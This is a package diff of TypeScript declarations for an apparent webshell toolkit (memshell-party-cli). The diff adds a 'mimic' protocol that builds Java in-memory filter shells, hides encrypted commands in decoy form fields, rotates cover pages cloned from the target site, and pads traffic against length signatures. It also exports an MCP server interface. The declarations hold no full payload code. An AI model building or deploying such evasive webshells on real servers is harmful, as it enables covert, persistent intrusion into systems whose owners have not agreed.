memshell-party-cli 0.3.4 → 0.5.0

package/dist/index.d.ts

@@ -317,7 +317,12 @@ declare function createMcpServer(client: MemPartyClient): McpServer;
 declare function startMcpStdio(client: MemPartyClient): Promise<void>;
 
 /** Shared types for the shell connection testers. */
-type ConnectTool = "behinder" | "godzilla" | "suo5";
+/**
+ * Shell protocol name. Used to be a hardcoded union of the built-in tools;
+ * now a free string — `src/connect/registry.ts` is the source of truth for
+ * which protocols actually exist (built-ins + plugins like "mimic").
+ */
+type ConnectTool = string;
 interface ConnectTestResult {
     ok: boolean;
     tool: ConnectTool;
@@ -364,6 +369,8 @@ interface StoredShell {
     headerValue?: string;
     extraHeaders?: Record<string, string>;
     insecure?: boolean;
+    /** mimic protocol: site profile name (see 'memparty profile'). */
+    profile?: string;
     /** Free-form note for this shell (e.g. "DMZ 跳板机"). */
     remark?: string;
     createdAt: string;
@@ -406,6 +413,7 @@ interface ConnectionFlags {
     headerValue?: string;
     extraHeaders?: Record<string, string>;
     insecure?: boolean;
+    profile?: string;
 }
 interface ResolvedConnection {
     url: string;
@@ -416,6 +424,8 @@ interface ResolvedConnection {
     headerValue?: string;
     extraHeaders: Record<string, string>;
     insecure?: boolean;
+    /** mimic protocol: site profile name. */
+    profile?: string;
     /** Canonical `project/shell` reference, when resolved from the store. */
     targetName?: string;
 }
@@ -463,6 +473,202 @@ interface GodzillaExecOptions extends CommonConnectOptions {
  */
 declare function execGodzilla(url: string, pass: string, key: string, command: string, options?: GodzillaExecOptions): Promise<ExecResult>;
 
+interface ProfileTemplate {
+    /** <title> of this page (metadata — the template is used verbatim). */
+    title: string;
+    /** Full HTML of a real page on the site (a response skin). */
+    template: string;
+    /** Content-Type this page is served with. */
+    contentType: string;
+    /** Relative rotation weight (default 1). */
+    weight?: number;
+}
+/** One form field in the request shape. Values may contain {{hex:N}} placeholders. */
+interface ProfileFormField {
+    name: string;
+    value: string;
+}
+/**
+ * How shell requests should look on the wire. Model it on a real form the
+ * target site already receives all the time (e.g. its own login POST):
+ * the ciphertext hides in `secretField`, surrounded by decoy fields.
+ *
+ * A profile may carry ONE of these or an ARRAY of them (`request: [...]`) —
+ * the client picks one at random per request, so the request shape varies
+ * the same way the response skins do.
+ */
+interface ProfileRequest {
+    /** Field that carries the ciphertext (e.g. "verCode"). */
+    secretField: string;
+    /** Where the ciphertext goes: form body (default), URL query, or a header. */
+    secretIn?: "body" | "query" | "header";
+    /** Decoy fields sent alongside (e.g. csrftoken/j_username/agreement). */
+    fields?: ProfileFormField[];
+    /** Relative rotation weight (default 1) when `request` is an array. */
+    weight?: number;
+}
+/**
+ * How the ciphertext is produced and hidden (the mimic codec menu).
+ * All fields optional — a profile without `cipher` speaks the original
+ * mimic wire format (aes-ecb + base64 + js-var marker).
+ *
+ * NOTE: the cipher is BAKED INTO the filter at `memparty custom build`
+ * time. Editing it in the profile afterwards means the client and the
+ * injected filter no longer match — rebuild and re-inject.
+ */
+interface ProfileCipher {
+    /** Cipher for the payload: AES/ECB (legacy), AES/CBC with random IV, or cyclic XOR. */
+    algorithm?: "aes-ecb" | "aes-cbc" | "xor";
+    /** Text encoding of the ciphertext bytes. */
+    encoding?: "base64" | "base64url" | "hex";
+    /**
+     * Append key-derived-length (0-15) random alnum garbage after the encoded
+     * ciphertext — Behinder's aes_with_magic trick against length signatures.
+     */
+    padTail?: boolean;
+    /** How the response hides the ciphertext inside the cover page. */
+    marker?: "js-var" | "html-comment";
+}
+interface SiteProfile {
+    name: string;
+    /** Origin the profile describes, e.g. "http://192.0.2.1:8080". */
+    site: string;
+    createdAt: string;
+    /** Response skins; the server rotates among them per response. */
+    templates?: ProfileTemplate[];
+    /** Legacy single-template fields — accepted on load, normalized by profileTemplates(). */
+    title?: string;
+    template?: string;
+    contentType?: string;
+    /** The site's path vocabulary, e.g. ["/api/", "/news/"]. */
+    paths: string[];
+    /** Request shape(s): one object, or an array the client rotates among. */
+    request?: ProfileRequest | ProfileRequest[];
+    /** Wire codec selection (baked into the filter at build time). */
+    cipher?: ProfileCipher;
+}
+
+type CipherAlgorithm = NonNullable<ProfileCipher["algorithm"]>;
+type CipherEncoding = NonNullable<ProfileCipher["encoding"]>;
+type ResponseMarker = NonNullable<ProfileCipher["marker"]>;
+/** A fully-resolved cipher selection (every field present). */
+interface MimicCipher {
+    algorithm: CipherAlgorithm;
+    encoding: CipherEncoding;
+    padTail: boolean;
+    marker: ResponseMarker;
+}
+/** The original mimic wire format: AES/ECB + base64 + JS-variable marker. */
+declare const LEGACY_CIPHER: MimicCipher;
+/** Fill the profile's partial `cipher` section with the legacy defaults. */
+declare function resolveCipher(partial?: ProfileCipher): MimicCipher;
+interface ResponseMarkers {
+    /** Left delimiter of the ciphertext inside the cover page. */
+    left: string;
+    /** Right delimiter of the ciphertext. */
+    right: string;
+    /** Wrap the ciphertext into the fragment injected into the cover page. */
+    wrap(payload: string): string;
+}
+/**
+ * Per-shell response markers. The 5-hex digest of pass+key keeps every
+ * shell's delimiters unique; the style selects how the fragment hides in the
+ * cover page (a JS assignment vs an HTML comment).
+ */
+declare function deriveMarkers(pass: string, secretKey: string, cipher?: MimicCipher): ResponseMarkers;
+
+interface CustomBuildInput {
+    profile: SiteProfile;
+    /** MemShellParty server name, e.g. "Tomcat", "TongWeb" (see 'memparty config tools'). */
+    server: string;
+    /** Shell type the uploaded class implements (default "Filter"). */
+    shellType?: string;
+    /** Credentials baked into the filter — the client reuses them at connect time. */
+    pass: string;
+    secret: string;
+    /** Injector URL pattern (default "/*"). */
+    urlPattern?: string;
+    /** Packer for the injector bytes (default "DefaultBase64"). */
+    packer?: string;
+    /** Target JRE, e.g. "java8" (default) — forwarded to the backend. */
+    jdk?: string | number;
+    /** Simple class name (default random MimicFilterXXXX — bump on every re-injection). */
+    className?: string;
+    /** Output directory for all artifacts. */
+    outDir: string;
+}
+interface CustomBuildResult {
+    className: string;
+    fullClassName: string;
+    injectorClassName: string;
+    packer: string;
+    server: string;
+    shellType: string;
+    urlPattern: string;
+    pass: string;
+    secret: string;
+    cipher: MimicCipher;
+    /** Backend response (payloads included). */
+    response: MemShellGenerateResponse;
+    files: {
+        java: string;
+        classFile: string;
+        manifest: string;
+        payloads: Record<string, string>;
+    };
+}
+/** The subset of MemPartyClient this flow needs (easy to fake in tests). */
+type GenerateClient = Pick<MemPartyClient, "generateMemShell">;
+/** Injectable seams for tests. */
+interface BuildDeps {
+    compile?: (sources: string[], outDir: string, opts: {
+        classpath?: string[];
+    }) => void;
+    servletJar?: () => string;
+}
+/** Carrier field names the filter should probe, from the profile's request shapes. */
+declare function profileSecretFields(profile: SiteProfile): string[];
+/** Default class name: MimicFilter + 4 random chars (a JVM can't re-define a class). */
+declare function defaultClassName(): string;
+declare function buildCustomMemshell(input: CustomBuildInput, client: GenerateClient, deps?: BuildDeps): Promise<CustomBuildResult>;
+
+/**
+ * Java source rendering for the mimic filter — the server half of the mimic
+ * protocol, generated from a site profile and compiled by `memparty custom
+ * build` (see docs/custom-memshell-design.md §B / mimic-memshell-guide.md).
+ *
+ * The crypto/encoding/padTail snippets below are the Java twins of
+ * src/connect/mimic-codecs.ts. They are emitted VERBATIM into both the
+ * filter and the CryptoProbe harness (renderCryptoProbe) — the probe is what
+ * src/custom/java-probe.test.ts runs to prove the two languages produce
+ * byte-compatible wire values. Never edit a snippet in only one place.
+ *
+ * The filter itself keeps the proven V6 behaviour:
+ *   - probe with getParameter()/getHeader() only (never touch the body
+ *     stream, so Behinder-style raw-body shells behind us keep working);
+ *   - anything that isn't ours falls through chain.doFilter untouched;
+ *   - any error answers with the plain cover page (stay quiet);
+ *   - the cover pages rotate per response.
+ */
+
+interface FilterTemplateOptions {
+    /** Simple class name, e.g. "MimicFilterAb3d" (package is always `mimic`). */
+    className: string;
+    /** Credential pair — must match the client's --pass/--key at connect time. */
+    pass: string;
+    secret: string;
+    /** Carrier field names (form fields / headers) that may hold the ciphertext. */
+    fields: string[];
+    /** Cover pages from the site profile (raw HTML, rotated per response). */
+    templates: string[];
+    cipher: MimicCipher;
+}
+declare function renderFilterJava(opts: FilterTemplateOptions): string;
+declare function renderCryptoProbe(cipher: MimicCipher): string;
+
+/** True when a working javac is available (used to skip integration tests). */
+declare function hasJavac(): boolean;
+
 type Suo5Mode = "auto" | "v2" | "v1";
 interface Suo5ConnectOptions extends CommonConnectOptions {
     mode?: Suo5Mode;
@@ -483,4 +689,4 @@ declare function testSuo5(url: string, options?: Suo5ConnectOptions): Promise<Co
 
 declare const CLI_VERSION: string;
 
-export { ApiError, type ApiErrorResponse, type BehinderConnectOptions, CLI_VERSION, type CommandConfigVO, type CommonConnectOptions, type ConnectTestResult, type ConnectTool, type ConnectionFlags, DEFAULT_API_URL, ENV_VAR, type ExecResult, type FetchLike, type GodzillaExecOptions, type InjectorConfig, JDK_VERSIONS, type MainConfig, MemPartyClient, type MemPartyClientOptions, type MemShellGenerateRequest, type MemShellGenerateResponse, type MemShellOptions, type MemShellResult, OUTPUT_LIMIT, type OpCategory, type OpFilter, type OpLogEntry, type OutputOptions, type OutputResult, type PackerOption, type PackerTree, type ProbeConfig, type ProbeContent, type ProbeContentConfig, type ProbeMethod, type ProbeOptions, type ProbeShellGenerateRequest, type ProbeShellGenerateResponse, type ProbeShellResult, type ResolvedConnection, type ServerConfig, type ShellConfig, type ShellInput, type ShellToolConfig, type StoredProject, type StoredShell, type Suo5ConnectOptions, type Suo5Mode, type VersionInfo, autoSaveShell, buildMemShellRequest, buildProbeRequest, createMcpServer, emitPayload, execBehinder, execGodzilla, formatOp, getProject, listProjects, logOp, marshalFrameBase64, marshalSuo5Map, opLogPath, readOps, removeProject, removeShell, resolveApiUrl, resolveConnection, resolveJreVersion, saveProjectMeta, saveShell, saveShellMeta, shouldDecode, startMcpStdio, targetStorePath, testBehinder, testGodzilla, testSuo5, truncateOutput, unmarshalFrameBase64, unmarshalSuo5Map };
+export { ApiError, type ApiErrorResponse, type BehinderConnectOptions, type BuildDeps, CLI_VERSION, type CommandConfigVO, type CommonConnectOptions, type ConnectTestResult, type ConnectTool, type ConnectionFlags, type CustomBuildInput, type CustomBuildResult, DEFAULT_API_URL, ENV_VAR, type ExecResult, type FetchLike, type FilterTemplateOptions, type GenerateClient, type GodzillaExecOptions, type InjectorConfig, JDK_VERSIONS, LEGACY_CIPHER, type MainConfig, MemPartyClient, type MemPartyClientOptions, type MemShellGenerateRequest, type MemShellGenerateResponse, type MemShellOptions, type MemShellResult, type MimicCipher, OUTPUT_LIMIT, type OpCategory, type OpFilter, type OpLogEntry, type OutputOptions, type OutputResult, type PackerOption, type PackerTree, type ProbeConfig, type ProbeContent, type ProbeContentConfig, type ProbeMethod, type ProbeOptions, type ProbeShellGenerateRequest, type ProbeShellGenerateResponse, type ProbeShellResult, type ResolvedConnection, type ServerConfig, type ShellConfig, type ShellInput, type ShellToolConfig, type StoredProject, type StoredShell, type Suo5ConnectOptions, type Suo5Mode, type VersionInfo, autoSaveShell, buildCustomMemshell, buildMemShellRequest, buildProbeRequest, createMcpServer, defaultClassName, deriveMarkers, emitPayload, execBehinder, execGodzilla, formatOp, getProject, hasJavac, listProjects, logOp, marshalFrameBase64, marshalSuo5Map, opLogPath, profileSecretFields, readOps, removeProject, removeShell, renderCryptoProbe, renderFilterJava, resolveApiUrl, resolveCipher, resolveConnection, resolveJreVersion, saveProjectMeta, saveShell, saveShellMeta, shouldDecode, startMcpStdio, targetStorePath, testBehinder, testGodzilla, testSuo5, truncateOutput, unmarshalFrameBase64, unmarshalSuo5Map };